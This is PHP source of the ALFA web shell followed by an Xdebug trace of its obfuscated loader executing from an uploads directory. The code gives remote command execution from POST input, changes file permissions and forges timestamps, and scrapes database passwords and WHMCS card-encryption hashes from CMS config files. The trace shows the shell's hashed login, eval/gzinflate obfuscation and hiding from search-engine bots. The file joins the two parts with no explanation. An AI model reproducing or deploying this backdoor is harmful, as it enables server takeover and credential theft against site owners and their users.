@fopen($cookie_file, 'w') or die($this->error('The cookie file could not be opened.'));
$this->cookie_file = $cookie_file;
@fclose($this->cookie_file);
}
}
function Send($url, $method = "get", $data = "")
{
if (!$this->curl_status) {
return false;
}
$process = curl_init($url);
curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
curl_setopt($process, CURLOPT_HEADER, 0);
curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($process, CURLOPT_ENCODING, $this->compression);
curl_setopt($process, CURLOPT_TIMEOUT, 30);
if ($this->ssl) {
curl_setopt($process, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($process, CURLOPT_SSL_VERIFYHOST, false);
}
if ($this->cookies) {
curl_setopt($process, CURLOPT_COOKIEFILE, $this->path);
curl_setopt($process, CURLOPT_COOKIEJAR, $this->path);
}
if ($this->proxy) {
curl_setopt($process, CURLOPT_PROXY, $this->proxy);
}
if ($method == 'post') {
curl_setopt($process, CURLOPT_POSTFIELDS, $data);
curl_setopt($process, CURLOPT_POST, 1);
curl_setopt($process, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
}
$return = @curl_exec($process);
curl_close($process);
return $return;
}
function error($error)
{
echo "<center><div style='width:500px;border: 3px solid #FFEEFF; padding: 3px; background-color: #FFDDFF;font-family: verdana; font-size: 10px'><b>cURL Error</b><br>{$error}</div></center>";
die;
}
}
function getConfigHtml($cms)
{
$content = '';
$cms_array = array("wp" => "WordPress", "vb" => "vBulletin", "whmcs" => "Whmcs", "joomla" => "Joomla", "phpnuke" => "PHPNuke", "phpbb" => "PHPBB", "mybb" => "MyBB", "drupal" => "Drupal", "smf" => "SMF");
$content = "<form class='getconfig' onSubmit='g(\"GetConfig\",null,this.cms.value,this.path.value,this.getAttribute(\"base_id\"));return false;'><div class='txtfont'>Cms: </div> <select name='cms'style='width:100px;'>";
foreach ($cms_array as $key => $val) {
$content .= "<option value='{$key}' " . ($key == $cms ? 'selected=selected' : '') . ">{$val}</option>";
}
$content .= "</select> <div class='txtfont'>Path(installed cms/Config): </div> <input type='text' name='path' value='" . $_SERVER['DOCUMENT_ROOT'] . "/' size='30' /> <button class='button'>GetConfig</button>";
$content .= "</form>";
return $content;
}
if (!function_exists('json_encode')) {
function json_encode($a = false)
{
if (is_null($a)) {
return "null";
}
if ($a === false) {
return "false";
}
if ($a === true) {
return "true";
}
if (is_scalar($a)) {
if (is_float($a)) {
return floatval(str_replace(",", ".", strval($a)));
}
if (is_string($a)) {
static $jsonReplaces = array(array("\\", "/", "\n", "\t", "\r", "\\b", "\f", '"'), array('\\\\', '\\/', '\\n', '\\t', '\\r', '\\b', '\\f', '\\"'));
return '"' . str_replace($jsonReplaces[0], $jsonReplaces[1], $a) . '"';
} else {
return $a;
}
}
$isList = true;
for ($i = 0, reset($a); $i < count($a); $i++, next($a)) {
if (key($a) !== $i) {
$isList = false;
break;
}
}
$result = array();
if ($isList) {
foreach ($a as $v) {
$result[] = json_encode($v);
}
return '[' . join(',', $result) . ']';
} else {
foreach ($a as $k => $v) {
$result[] = json_encode($k) . ':' . json_encode($v);
}
return '{' . join(',', $result) . '}';
}
}
}
if (!function_exists('json_decode')) {
function json_decode($json, $array = true)
{
$comment = false;
$out = '$x=';
for ($i = 0; $i < strlen($json); $i++) {
if (!$comment) {
if ($json[$i] == '{' || $json[$i] == '[') {
$out .= ' array(';
} else {
if ($json[$i] == '}' || $json[$i] == ']') {
$out .= ')';
} else {
if ($json[$i] == ':') {
$out .= '=>';
} else {
$out .= $json[$i];
}
}
}
} else {
$out .= $json[$i];
}
if ($json[$i] == '"') {
$comment = !$comment;
}
}
eval($out . ';');
return $x;
}
}
function alfaterminalExec()
{
$pwd = "pwd";
$seperator = ";";
if ($GLOBALS['sys'] != 'unix') {
$pwd = "cd";
$seperator = "&";
}
if ($GLOBALS["glob_chdir_false"] && !empty($_POST["c"])) {
$cmd = "cd '" . addslashes($_POST["c"]) . "'" . $seperator;
}
$current_path = '';
if (preg_match("/cd[ ]{0,}(.*)[ ]{0,}" . $seperator . "|cd[ ]{0,}(.*)[ ]{0,}/i", $_POST['alfa1'], $match)) {
if (empty($match[1])) {
$match[1] = $match[2];
}
$current_path = alfaEx("cd " . addslashes($match[1]) . $seperator . $pwd);
$current_path = str_replace("\\", "/", $current_path);
}
$out = alfaEx($cmd . $_POST['alfa1'], true);
$out = htmlspecialchars($out);
echo json_encode(array("output" => convertBash($out), "path" => $current_path));
}
function convertBash($code)
{
$dictionary = array('[01;30m' => '<span style="color:black">', '[01;31m' => '<span style="color:red">', '[01;32m' => '<span style="color:green">', '[01;33m' => '<span style="color:yellow">', '[01;34m' => '<span style="color:blue">', '[01;35m' => '<span style="color:purple">', '[01;36m' => '<span style="color:cyan">', '[01;37m' => '<span style="color:white">', '[0m' => '</span>');
$htmlString = str_replace(array_keys($dictionary), $dictionary, $code);
return $htmlString;
}
function alfadoActions()
{
$chdir_fals = false;
if (!@chdir($_POST['c'])) {
$chdir_fals = true;
$alfa_canruncmd = _alfa_can_runCommand(true, true);
}
if (isset($_POST['alfa1'])) {
$_POST['alfa1'] = rawurldecode($_POST['alfa1']);
}
if (isset($_POST['alfa2'])) {
$_POST['alfa2'] = rawurldecode($_POST['alfa2']);
}
$action = $_POST["alfa3"];
if ($action == "permission") {
$perms = 0;
$perm = $_POST["alfa2"];
for ($i = strlen($perm) - 1; $i >= 0; --$i) {
$perms += (int) $perm[$i] * pow(8, strlen($perm) - $i - 1);
}
if (@chmod($_POST['alfa1'], $perms)) {
echo "done";
} else {
echo "no";
}
return;
}
if ($action == "rename" || $action == "move") {
$alfa1_decoded = $_POST['alfa1'];
if ($chdir_fals) {
$_POST['alfa1'] = $_POST["c"] . "/" . $_POST["alfa1"];
}
$_POST['alfa1'] = trim($_POST['alfa1']);
$alfa1_escape = addslashes($_POST["alfa1"]);
if ($_POST["alfa3"] == "rename") {
$_POST['alfa2'] = basename($_POST['alfa2']);
}
if (!empty($_POST['alfa2'])) {
$cmd_rename = false;
if ($chdir_fals && $alfa_canruncmd) {
if (_alfa_is_writable($_POST['alfa1'])) {
$cmd_rename = true;
$alfa1_escape = addslashes($alfa1_decoded);
alfaEx("cd '" . addslashes($_POST['c']) . "';mv '" . $alfa1_escape . "' '" . addslashes($_POST['alfa2']) . "'");
}
}
if (!file_exists($_POST['alfa2'])) {
if (@rename($_POST['alfa1'], $_POST['alfa2']) || $cmd_rename) {
echo "done";
} else {
echo "no";
}
} else {
echo "no";
}
}
} elseif ($action == "copy") {
if (is_dir($_POST["alfa1"])) {
$dir = str_replace('//', '/', $_POST["alfa1"]);
$dir = explode('/', $dir);
if (empty($dir[count($dir) - 1])) {
$name = $dir[count($dir) - 2];
} else {
$name = $dir[count($dir) - 1];
}
} else {
$name = basename($_POST["alfa1"]);
}
$dir = dirname($_POST["alfa1"]);
if ($dir == ".") {
$dir = $_POST["c"] . "/";
}
if (is_file($_POST["alfa1"])) {
@copy($_POST["alfa1"], $_POST["alfa2"]);
echo "done";
} elseif (is_dir($_POST["alfa1"])) {
if (!is_dir($_POST["alfa2"])) {
mkdir($_POST["alfa2"], 0755, true);
}
copy_paste($dir, $name, $_POST["alfa2"] . "/");
echo "done";
}
} elseif ($action == "modify") {
if (!empty($_POST['alfa1'])) {
$time = strtotime($_POST['alfa1']);
if ($time) {
$touched = false;
if ($chdir_fals && $alfa_canruncmd) {
alfaEx("cd '" . addslashes($_POST["c"]) . "';touch -d '" . htmlspecialchars(addslashes($_POST['alfa1'])) . "' '" . addslashes($_POST['alfa2']) . "'");
$touched = true;
}
if (!@touch($_POST['alfa2'], $time, $time) && !$touched) {
echo "no";
} else {
echo "ok";
}
} else {
echo "badtime";
}
}
}
}
function alfaget_flags()
{
$flags = array();
if (function_exists("curl_version")) {
$curl = new AlfaCURL();
$server_addr = !@$_SERVER["SERVER_ADDR"] ? function_exists("gethostbyname") ? @gethostbyname($_SERVER['SERVER_NAME']) : '????' : @$_SERVER["SERVER_ADDR"];
$flag = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $server_addr);
$flag2 = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $_SERVER["REMOTE_ADDR"]);
if (strpos($flag2, "geoplugin") != false) {
$flag = json_decode($flag, true);
$flag2 = json_decode($flag2, true);
if (!empty($flag['geoplugin_countryCode'])) {
$flags["server"]["name"] = $flag['geoplugin_countryName'];
$flags["server"]["code"] = $flag['geoplugin_countryCode'];
}
if (!empty($flag2['geoplugin_countryCode'])) {
$flags["client"]["name"] = $flag2['geoplugin_countryName'];
$flags["client"]["code"] = $flag2['geoplugin_countryCode'];
}
}
}
echo json_encode($flags);
}
function alfaGetConfig()
{
$cms = $_POST['alfa1'];
$path = trim($_POST['alfa2']);
$config = array('wp' => array('file' => '/wp-config.php', 'host' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_HOST(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'dbname' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_NAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'dbuser' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_USER(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'dbpw' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'prefix' => array("/table_prefix[ ]{0,}=[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 1)), 'drupal' => array('file' => '/config.php', 'host' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_HOSTNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'dbname' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_DATABASE(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'dbuser' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_USERNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'dbpw' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1), 'prefix' => array("/define[ ]{0,}\\([ ]{0,}(?:'|\")DB_PREFIX(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\\)[ ]{0,};/", 1)), 'drupal2' => array('file' => '/sites/default/settings.php', 'host' => array("/(?:'|\")host(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1), 'dbname' => array("/(?:'|\")database(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1), 'dbuser' => array("/(?:'|\")username(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1), 'dbpw' => array("/(?:'|\")password(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1), 'prefix' => array("/(?:'|\")prefix(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/", 1)), 'vb' => array('file' => '/includes/config.php', 'host' => array("/config\\[(?:'|\")MasterServer(?:'|\")\\]\\[(?:'|\")servername(?:'|\")\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3), 'dbuser' => array("/config\\[(?:'|\")MasterServer(?:'|\")\\]\\[(?:'|\")username(?:'|\")\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3), 'dbname' => array("/config\\[(?:'|\")Database(?:'|\")\\]\\[(?:'|\")dbname(?:'|\")\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3), 'dbpw' => array("/config\\[(?:'|\")MasterServer(?:'|\")\\]\\[(?:'|\")password(?:'|\")\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3), 'prefix' => array("/config\\[(?:'|\")Database(?:'|\")\\]\\[(?:'|\")tableprefix(?:'|\")\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/", 3)), 'phpnuke' => array('file' => '/config.php', 'host' => array('/dbhost(\\s+)=(\\s+)(?:\'|")(.*?)(?:\'|");/', 3), 'dbname' => array('/dbname(\\s+)=(\\s+)(?:\'|")(.*?)(?:\'|");/', 3), 'dbuser' => array('/dbuname(\\s+)=(\\s+)(?:\'|")(.*?)(?:\'|");/', 3), 'dbpw' => array('/dbpass(\\s+)=(\\s+)(?:\'|")(.*?)(?:\'|");/', 3), 'prefix' => array('/prefix(\\s+)=(\\s+)(?:\'|")(.*?)(?:\'|");/', 3)), 'smf' => array('file' => '/Settings.php', 'host' => array("/db_server(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbname' => array("/db_name(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbuser' => array("/db_user(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbpw' => array("/db_passwd(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'prefix' => array("/db_prefix(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3)), 'whmcs' => array('file' => '/configuration.php', 'host' => array("/db_host(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbname' => array("/db_name(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbuser' => array("/db_username(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbpw' => array("/db_password(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'cc_encryption_hash' => array("/cc_encryption_hash(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3)), 'joomla' => array('file' => '/configuration.php', 'host' => array("/\\\$host(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbname' => array("/\\\$db(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbuser' => array("/\\\$user(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbpw' => array("/\\\$password(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'prefix' => array("/\\\$dbprefix(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3)), 'phpbb' => array('file' => '/config.php', 'host' => array("/dbhost(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbname' => array("/dbname(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbuser' => array("/dbuser(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbpw' => array("/dbpasswd(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'prefix' => array("/table_prefix(\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3)), 'mybb' => array('file' => '/inc/config.php', 'host' => array("/config\\['database'\\]\\['hostname'\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbname' => array("/config\\['database'\\]\\['database'\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbuser' => array("/config\\['database'\\]\\['username'\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'dbpw' => array("/config\\['database'\\]\\['password'\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3), 'prefix' => array("/config\\['database'\\]\\['table_prefix'\\](\\s+)=(\\s+)(?:'|\")(.*?)(?:'|\");/", 3)));
if ($cms == "drupal") {
$file = $config[$cms]['file'];
$file = $path . $file;
if (@is_file($file) || _alfa_is_dir($file, "-e")) {
} else {
$cms = 'drupal2';
}
}
if ($cms == "vb") {
$file = $config[$cms]['file'];
$file = $path . $file;
if (@is_file($file) || _alfa_is_dir($file, "-e")) {
} else {
$path .= '/core';
}
}
$data = array();
$srch_host = $config[$cms]['host'][0];
$srch_user = $config[$cms]['dbuser'][0];
$srch_name = $config[$cms]['dbname'][0];
$srch_pw = $config[$cms]['dbpw'][0];
$prefix = $config[$cms]['prefix'][0];
$file = $config[$cms]['file'];
$chost = $config[$cms]['host'][1];
$cuser = $config[$cms]['dbuser'][1];
$cname = $config[$cms]['dbname'][1];
$cpw = $config[$cms]['dbpw'][1];
$cprefix = $config[$cms]['prefix'][1];
if (@is_dir($path) || _alfa_is_dir($path)) {
$file = $path . $file;
} elseif (@is_file($path) || _alfa_is_dir($path, "-e")) {
$file = $path;
} else {
return false;
}
$file = __read_file($file);
if ($cms == "drupal2") {
$file = preg_replace("/\\@code(.*?)\\@endcode/s", "", $file);
} elseif ($cms == "vb") {
$file = preg_replace("/right of the(.*?)BAD!/s", "", $file);
}
if (preg_match($srch_host, $file, $mach)) {
$data['host'] = $mach[$chost];
}
if (preg_match($srch_user, $file, $mach)) {
$data['user'] = $mach[$cuser];
}
if (preg_match($srch_name, $file, $mach)) {
$data['dbname'] = $mach[$cname];
}
if (preg_match($srch_pw, $file, $mach)) {
$data['password'] = $mach[$cpw];
}
if (isset($prefix)) {
if (preg_match($prefix, $file, $mach)) {
$data['prefix'] = $mach[$cprefix];
}
}
if ($cms == 'whmcs') {
if (preg_match($config[$cms]['cc_encryption_hash'][0], $file, $mach)) {
$data['cc_encryption_hash'] = $mach[3];
}
}
echo json_encode($data);
}
if (empty($_POST['a'])) {
if (isset($default_action) && function_exists('alfa' . $default_action)) {
$_POST['a'] = $default_action;
} else {
$_POST['a'] = 'FilesMan2';
}
}
//'FilesMan';
if (!empty($_POST['a']) && function_exists('alfa' . $_POST['a'])) {
call_user_func('alfa' . $_POST['a']);
}
exit;
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:23:20.982503]
1 0 1 0.000182 393512
1 3 0 0.011632 2765528 {main} 1 /var/www/html/uploads/hw0.php 0 0
1 A /var/www/html/uploads/hw0.php 9 GLOBALS['oZgNypoPRU'] = ['username' => 'alfa', 'password' => 'a6f452ec3293d7fb72c5b677257b20ec', 'safe_mode' => '0', 'login_page' => '403', 'show_icons' => '1', 'post_encryption' => FALSE, 'cgi_api' => TRUE]
1 A /var/www/html/uploads/hw0.php 19 $CWppUDJxuf = 'function_exists'
1 A /var/www/html/uploads/hw0.php 20 $aztJtafUXm = 'charCodeAt'
1 A /var/www/html/uploads/hw0.php 21 $OVpGNqqFZs = 'eval'
1 A /var/www/html/uploads/hw0.php 22 $psDEwGhsxg = 'gzinflate'
2 4 0 0.011753 2765528 function_exists 0 /var/www/html/uploads/hw0.php 24 1 'base64_encode'
2 4 1 0.011768 2765568
2 4 R TRUE
2 5 0 0.011783 2765528 function_exists 0 /var/www/html/uploads/hw0.php 72 1 'base64_decode'
2 5 1 0.011796 2765568
2 5 R TRUE
1 A /var/www/html/uploads/hw0.php 126 GLOBALS['DB_NAME'] = ['username' => 'alfa', 'password' => 'a6f452ec3293d7fb72c5b677257b20ec', 'safe_mode' => '0', 'login_page' => '403', 'show_icons' => '1', 'post_encryption' => FALSE, 'cgi_api' => TRUE]
1 A /var/www/html/uploads/hw0.php 128 $key = 'username'
2 6 0 0.011845 2765504 substr 0 /var/www/html/uploads/hw0.php 130 3 'username' 0 2
2 6 1 0.011860 2765632
2 6 R 'us'
1 A /var/www/html/uploads/hw0.php 130 $prefix = 'us'
1 A /var/www/html/uploads/hw0.php 133 GLOBALS['DB_NAME']['user'] = 'alfa'
1 A /var/www/html/uploads/hw0.php 134 GLOBALS['DB_NAME']['user_rand'] = 'username'
1 A /var/www/html/uploads/hw0.php 128 $key = 'password'
2 7 0 0.011921 2766232 substr 0 /var/www/html/uploads/hw0.php 130 3 'password' 0 2
2 7 1 0.011934 2766360
2 7 R 'pa'
1 A /var/www/html/uploads/hw0.php 130 $prefix = 'pa'
1 A /var/www/html/uploads/hw0.php 138 GLOBALS['DB_NAME']['pass'] = 'a6f452ec3293d7fb72c5b677257b20ec'
1 A /var/www/html/uploads/hw0.php 139 GLOBALS['DB_NAME']['pass_rand'] = 'password'
1 A /var/www/html/uploads/hw0.php 128 $key = 'safe_mode'
2 8 0 0.011994 2766232 substr 0 /var/www/html/uploads/hw0.php 130 3 'safe_mode' 0 2
2 8 1 0.012007 2766360
2 8 R 'sa'
1 A /var/www/html/uploads/hw0.php 130 $prefix = 'sa'
1 A /var/www/html/uploads/hw0.php 143 GLOBALS['DB_NAME']['safemode'] = '0'
1 A /var/www/html/uploads/hw0.php 144 GLOBALS['DB_NAME']['safemode_rand'] = 'safe_mode'
1 A /var/www/html/uploads/hw0.php 128 $key = 'login_page'
2 9 0 0.012066 2766232 substr 0 /var/www/html/uploads/hw0.php 130 3 'login_page' 0 2
2 9 1 0.012080 2766360
2 9 R 'lo'
1 A /var/www/html/uploads/hw0.php 130 $prefix = 'lo'
1 A /var/www/html/uploads/hw0.php 148 GLOBALS['DB_NAME']['login_page'] = '403'
1 A /var/www/html/uploads/hw0.php 149 GLOBALS['DB_NAME']['login_page_rand'] = 'login_page'
1 A /var/www/html/uploads/hw0.php 128 $key = 'show_icons'
2 10 0 0.012139 2766232 substr 0 /var/www/html/uploads/hw0.php 130 3 'show_icons' 0 2
2 10 1 0.012153 2766360
2 10 R 'sh'
1 A /var/www/html/uploads/hw0.php 130 $prefix = 'sh'
1 A /var/www/html/uploads/hw0.php 153 GLOBALS['DB_NAME']['show_icons'] = '1'
1 A /var/www/html/uploads/hw0.php 154 GLOBALS['DB_NAME']['show_icons_rand'] = 'show_icons'
1 A /var/www/html/uploads/hw0.php 128 $key = 'post_encryption'
2 11 0 0.012211 2766232 substr 0 /var/www/html/uploads/hw0.php 130 3 'post_encryption' 0 2
2 11 1 0.012225 2766360
2 11 R 'po'
1 A /var/www/html/uploads/hw0.php 130 $prefix = 'po'
1 A /var/www/html/uploads/hw0.php 158 GLOBALS['DB_NAME']['post_encryption'] = FALSE
1 A /var/www/html/uploads/hw0.php 159 GLOBALS['DB_NAME']['post_encryption_rand'] = 'post_encryption'
1 A /var/www/html/uploads/hw0.php 128 $key = 'cgi_api'
2 12 0 0.012285 2766232 substr 0 /var/www/html/uploads/hw0.php 130 3 'cgi_api' 0 2
2 12 1 0.012298 2766360
2 12 R 'cg'
1 A /var/www/html/uploads/hw0.php 130 $prefix = 'cg'
1 A /var/www/html/uploads/hw0.php 163 GLOBALS['DB_NAME']['cgi_api'] = TRUE
1 A /var/www/html/uploads/hw0.php 164 GLOBALS['DB_NAME']['cgi_api_rand'] = 'cgi_api'
1 A /var/www/html/uploads/hw0.php 172 $userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler', 6 => 'bot', 7 => 'spider']
2 13 0 0.012383 2766872 implode 0 /var/www/html/uploads/hw0.php 172 2 '|' [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler', 6 => 'bot', 7 => 'spider']
2 13 1 0.012404 2767032
2 13 R 'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider'
2 14 0 0.012422 2766968 preg_match 0 /var/www/html/uploads/hw0.php 172 2 '/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider/i' 'python-requests/2.25.1'
2 14 1 0.012442 2767032
2 14 R 0
2 15 0 0.012457 2766872 define 0 /var/www/html/uploads/hw0.php 179 2 '__ALFA_VERSION__' '4.1'
2 15 1 0.012472 2766976
2 15 R TRUE
2 16 0 0.012485 2766904 define 0 /var/www/html/uploads/hw0.php 180 2 '__ALFA_UPDATE__' '2'
2 16 1 0.012498 2767008
2 16 R TRUE
2 17 0 0.012511 2766936 define 0 /var/www/html/uploads/hw0.php 181 2 '__ALFA_CODE_NAME__' 'Tesla'
2 17 1 0.012524 2767040
2 17 R TRUE
2 18 0 0.012537 2766968 define 0 /var/www/html/uploads/hw0.php 182 2 '__ALFA_DATA_FOLDER__' 'ALFA_DATA'
2 18 1 0.012551 2767072
2 18 R TRUE
2 19 0 0.012564 2767000 define 0 /var/www/html/uploads/hw0.php 183 2 '__ALFA_POST_ENCRYPTION__' FALSE
2 19 1 0.012578 2767104
2 19 R TRUE
2 20 0 0.012592 2767032 define 0 /var/www/html/uploads/hw0.php 184 2 '__ALFA_SECRET_KEY__' ''
2 20 1 0.012605 2767136
2 20 R TRUE
1 A /var/www/html/uploads/hw0.php 185 GLOBALS['__ALFA_COLOR__'] = ['shell_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'header_vars' => '#27979B', 'header_values' => '#67ABDF', 'header_on' => '#00FF00', 'header_off' => '#ff0000', 'header_none' => '#00FF00', 'home_shell' => '#ff0000', 'home_shell:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'back_shell' => '#efbe73', 'back_shell:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_pwd' => '#00FF00', 'header_pwd:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_drive' => '#00FF00', 'header_drive:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_show_all' => '#00FF00', 'disable_functions' => '#ff0000', 'footer_text' => '#27979B', 'menu_options' => '#27979B', 'menu_options:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'options_list' => ['key_color' => '#00FF00', 'multi_selector' => [...]], 'options_list:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'options_list_header' => ['key_color' => '#59cc33', 'multi_selector' => [...]], 'options_list_text' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'Alfa+' => ['key_color' => '#06ff0f', 'multi_selector' => [...]], 'hidden_shell_text' => ['key_color' => '#00FF00', 'multi_selector' => [...]], 'hidden_shell_version' => '#ff0000', 'shell_name' => '#FF0000', 'main_row:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'main_header' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'main_name' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'main_size' => '#67ABDF', 'main_modify' => '#67ABDF', 'main_owner_group' => '#67ABDF', 'main_green_perm' => '#25ff00', 'main_red_perm' => '#FF0000', 'main_white_perm' => '#FFFFFF', 'beetween_perms' => '#FFFFFF', 'main_actions' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'minimize_editor_background' => ['key_color' => '#0e304a', 'multi_selector' => [...]], 'minimize_editor_text' => ['key_color' => '#f5deb3', 'multi_selector' => [...]], 'editor_border' => ['key_color' => '#0e304a', 'multi_selector' => [...]], 'editor_background' => ['key_color' => 'rgba(0, 1, 23, 0.94)', 'multi_selector' => [...]], 'editor_header_background' => ['key_color' => 'rgba(21, 66, 88, 0.93)', 'multi_selector' => [...]], 'editor_header_text' => ['key_color' => '#00ff7f', 'multi_selector' => [...]], 'editor_header_button' => ['key_color' => '#1d5673', 'multi_selector' => [...]], 'editor_actions' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'editor_file_info_vars' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'editor_file_info_values' => ['key_color' => '#67ABDF', 'multi_selector' => [...]], 'editor_history_header' => ['key_color' => '#14ff07', 'multi_selector' => [...]], 'editor_history_list' => ['key_color' => '#03b3a3', 'multi_selector' => [...]], 'editor_history_selected_file' => ['key_color' => 'rgba(49, 55, 93, 0.77)', 'multi_selector' => [...]], 'editor_history_file:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'input_box_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'input_box_text' => ['key_color' => '#999999', 'multi_selector' => [...]], 'input_box:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'select_box_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'select_box_text' => ['key_color' => '#FFFFEE', 'multi_selector' => [...]], 'select_box:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'button_border' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'button:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'outputs_text' => ['key_color' => '#67ABDF', 'multi_selector' => [...]], 'outputs_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_background' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_text_right' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'uploader_text_left' => ['key_color' => '#25ff00', 'multi_selector' => [...]], 'uploader:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'uploader_progress_bar' => ['key_color' => '#00ff00', 'multi_selector' => [...]], 'mysql_tables' => '#00FF00', 'mysql_table_count' => '#67ABDF', 'copyright' => '#dfff00', 'scrollbar' => ['key_color' => '#1e82b5', 'multi_selector' => [...]], 'scrollbar_background' => ['key_color' => '#000115', 'multi_selector' => [...]]]
